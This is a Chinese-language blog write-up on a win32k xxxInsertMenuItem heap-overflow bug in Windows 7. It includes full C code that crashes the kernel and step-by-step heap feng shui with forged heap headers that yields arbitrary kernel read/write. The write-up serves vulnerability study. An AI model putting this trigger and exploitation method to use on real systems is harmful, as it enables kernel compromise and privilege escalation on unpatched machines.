这个洞的成因倒是很好理解,不过利用方法是我第一次接触,第一次接触堆风水布局,虽然还只是Win7上的,远没有Win10上的复杂,但也让我知道了自己的知识匮乏,在漏洞利用这块还只是个入门的新手,希望自己能够在遇到困难的时候坚持下去。
这个漏洞位于win32k!xxxInsertMenuItem
,其中通过MNLookUpItem
对菜单进行递归查找
在win32k!xxxInsertMenuItem
中调用了两次MNLookUpItem
对菜单项进行了查找,但只有第一次对查找后的tagMenu
进行了重新赋值(可能是因为微软没有考虑到在第二次调用MNLookUpItem
查找时返回的tagItem
因为uItem = 1
导致其属于其它的菜单???),如果我们构造一个特殊的tagItem
进行插入使得uItem
被修改并且这个tagItem
拥有一个子菜单,那么将会导致后面memmove
计算长度时使用两个逻辑上没有关系的地址进行相减,从而导致长度计算错误,导致堆溢出,如果我们通过精准的堆布局,那么就可以控制溢出的长度以及覆盖相邻的堆头。
在IDA中分析代码可以发现,当我们插入满足以下条件时,uItem
就会被设置为1
MNF_POPUP
byPosition = false
并且uItem
为当前菜单的第一项hmbp = HBMMENU_SYSTEM
如果此时菜单项已经有了8个,我们再添加一个时,就会触发重新的堆申请,每次申请以8个tagItem
大小为单位,因此就会触发第二次的MNLookUpItem
调用,由于此时uItem = 1
,如果uID = 1
的菜单项位于另外一个子菜单,就会导致在memmove
计算长度时出现错误导致堆溢出
如果只需要触发蓝屏,可以以最简单的方式来构造菜单:
item
,其中一项具有subMenu
subMenu
中有一项uID = 1
的tagItem
uItem =1
的条件,并且触发第二次MNLookUpItem
#include <Windows.h>
#include "struct.h"
HMENU add_submenu_item(HMENU hMenu, UINT wID)
{
HMENU hSubMenu = CreatePopupMenu();
MENUITEMINFOW mi_info;
mi_info.cbSize = sizeof(MENUITEMINFOW);
mi_info.fMask = MIIM_SUBMENU | MIIM_ID | MIIM_BITMAP;
mi_info.fState = MFS_ENABLED;
mi_info.hSubMenu = hSubMenu;
mi_info.wID = wID;
mi_info.dwTypeData = NULL;
mi_info.hbmpItem = HBMMENU_SYSTEM; // (required to set nPosition to 1 in trigger)
BOOL bRet = NtUserThunkedMenuItemInfo(
hMenu, //# HMENU hMenu
0, //# UINT nPosition
FALSE, //# BOOL fByPosition
TRUE, //# BOOL fInsert
&mi_info, //# LPMENUITEMINFOW lpmii
NULL //# PUNICODE_STRING pstrItem
);
if (bRet)
{
return hSubMenu;
}
return NULL;
}
BOOL add_menu_item(HMENU hMenu, UINT wID)
{
MENUITEMINFOW mi_info;
mi_info.cbSize = sizeof(MENUITEMINFOW);
mi_info.fMask = MIIM_ID;
mi_info.fType = MFT_STRING;
mi_info.fState = MFS_ENABLED;
mi_info.wID = wID;
return NtUserThunkedMenuItemInfo(
hMenu, //# HMENU hMenu
-1, //# UINT nPosition
TRUE, //# BOOL fByPosition
TRUE, //# BOOL fInsert
&mi_info, //# LPMENUITEMINFOW lpmii
NULL //# PUNICODE_STRING pstrItem
);
};
VOID fill_menu(HMENU hMenu, UINT Base_wID, UINT nCount)
{
for (UINT i = 0; i < nCount; i++)
{
add_menu_item(hMenu, Base_wID + i);
}
}
int main()
{
/* 在主菜单中插入8项item,其中一项具有subMenu */
auto hMenu = CreateMenu();
auto hSubMenu = add_submenu_item(hMenu, 0x101);
fill_menu(hMenu, 0x102, 7);
/* 在这个subMenu中有一项uID = 1的tagItem */
add_menu_item(hSubMenu, 0x1);
/* 向主菜单插入第九项并且满足上面使得uItem =1的条件,并且触发第二次MNLookUpItem */
{
MENUITEMINFOW mi_info;
mi_info.cbSize = sizeof(MENUITEMINFOW);
mi_info.fMask = MIIM_ID;
mi_info.fType = MFT_STRING;
mi_info.fState = MFS_ENABLED;
mi_info.wID = 0x111;
return NtUserThunkedMenuItemInfo(
hMenu, //# HMENU hMenu
0x101, //# UINT nPosition
FALSE, //# BOOL fByPosition
TRUE, //# BOOL fInsert
&mi_info, //# LPMENUITEMINFOW lpmii
NULL //# PUNICODE_STRING pstrItem
);
}
return 0;
}
利用方法是对此文的学习与理解
通过阅读``NCC group 《Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE 2015-0057) bug on both 32-bit and 64-bit》`,大概总结出一下几点:
基于桌面堆的大多数申请都依赖与窗口对象,也就是通过tagWND
来管理
DestroyWindow
时进行释放tagPROPLIST
结构提供足够小的堆申请用来填满任意小的堆空洞
feng shui 布局验证
TEB
中包含一个未文档化的结构win32ClientInfo
,其中ulClientDelta
成员表示桌面堆在内核映射和用户映射的偏移,再通过user32!gSharedInfo
泄露窗口对象的内核地址,就可以得到窗口对象在用户空间的映射地址typedef struct _CLIENTINFO {
ULONG_PTR CI_flags;
ULONG_PTR cSpins;
DWORD dwExpWinVer;
DWORD dwCompatFlags;
DWORD dwCompatFlags2;
DWORD dwTIFlags;
PDESKTOPINFO pDeskInfo;
ULONG_PTR ulClientDelta; // incomplete. see reactos
} CLIENTINFO, *PCLIENTINFO;
WND_0 ~ WND_5
在后面用来操作堆数据ID = 1
和其他ID 0x2001~2007
的tagItem
tagItem
,这时会触发堆的重新申请,然后设置WND_5->text
为0x6C *8 = 0x360
大小来填充上面释放的8个菜单项的堆空间,并在用户空间检查桌面堆确保两个地址相等WND_1->text
为0x70
大小用来伪造堆头,同样要验证此时为WND_1->text
分配的堆地址是紧接着上面SubMenuItems
分配的,伪造堆头的位置时要注意,因为win32k!xxxInsertMenuItem
的插入逻辑是在插入位置留一个tagItem
大小的位置,后面的tagItem
顺序向后移动,由于我们申请的大小为0x70
,向后移动距离为0x6C
,所以我们需要在WND_1->text
4字节(0x70 - 0x6C = 4
)之后伪造堆头 #define CORRUPTION_BLOCK_SIZE 0x8e8
#define HEAP_GRANULARITY_SHIFT 3
memset(Data, 0, sizeof(Data));
PHEAP_ENTRY32 pHeapEntry = (PHEAP_ENTRY32)(Data + 4);
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = CORRUPTION_BLOCK_SIZE >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;
WND_2->text
为0x70
大小,同样验证布局是否紧接着WND_1->text
,当堆溢出发生时,上面伪造的堆头就会覆盖WND_2->text
的堆头WND_0->text
为0x6C0
大小,为主菜单item*16
占位Primitive-WND
窗口和一个自动创建的tagPROPLIST
Corrupt-WND
窗口和一个自动创建的tagPROPLIST
WND_3->text
为0x10
大小,因为上面伪造的_heap_entry->size = 8e8
,刚好下一个堆块为WND_3->text
的位置,因此我们需要在WND_3->text
中伪造一个堆头使得previousSize = 8e8 >>3
,从而在释放上面伪造的堆时绕过检查(以上所有操作都是假定所有分配都是连续的) #define CORRUPTION_BLOCK_SIZE 0x8e8
#define HEAP_GRANULARITY_SHIFT 3
memset(Data, 0, sizeof(Data));
pHeapEntry = (PHEAP_ENTRY32)Data;
pHeapEntry->PreviousSize = CORRUPTION_BLOCK_SIZE >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x10 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;
设置WND_0->text
为0x700
大小,此时多了个0x6c0
大小的空洞,紧接着为主菜单添加第九个菜单项,在堆申请时需要的大小刚好等于0x6c0
,因此此时主菜单的rgItems
位置也就确定了,memmove
的大小也可以计算出来了,同时触发漏洞,memmove
导致从SubMenuItems[0]
后面开始全部后移0x6C
大小,因此我们在WND_1->text
伪造的堆头覆盖了WND_2->text
的堆头
紧接着我们设置WND_2->text
为0x80
大小,因此之前的堆被释放,但这是个被伪造的堆,其被修改后的堆大小包含了整个Primitive-WND
和Corrupt-WND
窗口对象,因此我们只需要将Corrupt-WND->text
设置为0x8e0
大小来重用这个伪造的堆块,就可以通过修改位于堆块中的Primitive-WND->text
的地址配合InternalGetWindowText
和NtUserDefSetText
来进行任意地址读写
附上 https://github.com/55-AA/CVE-2016-3308 中的堆 feng shui 布局图
原文:https://www.cnblogs.com/DreamoneOnly/p/12844299.html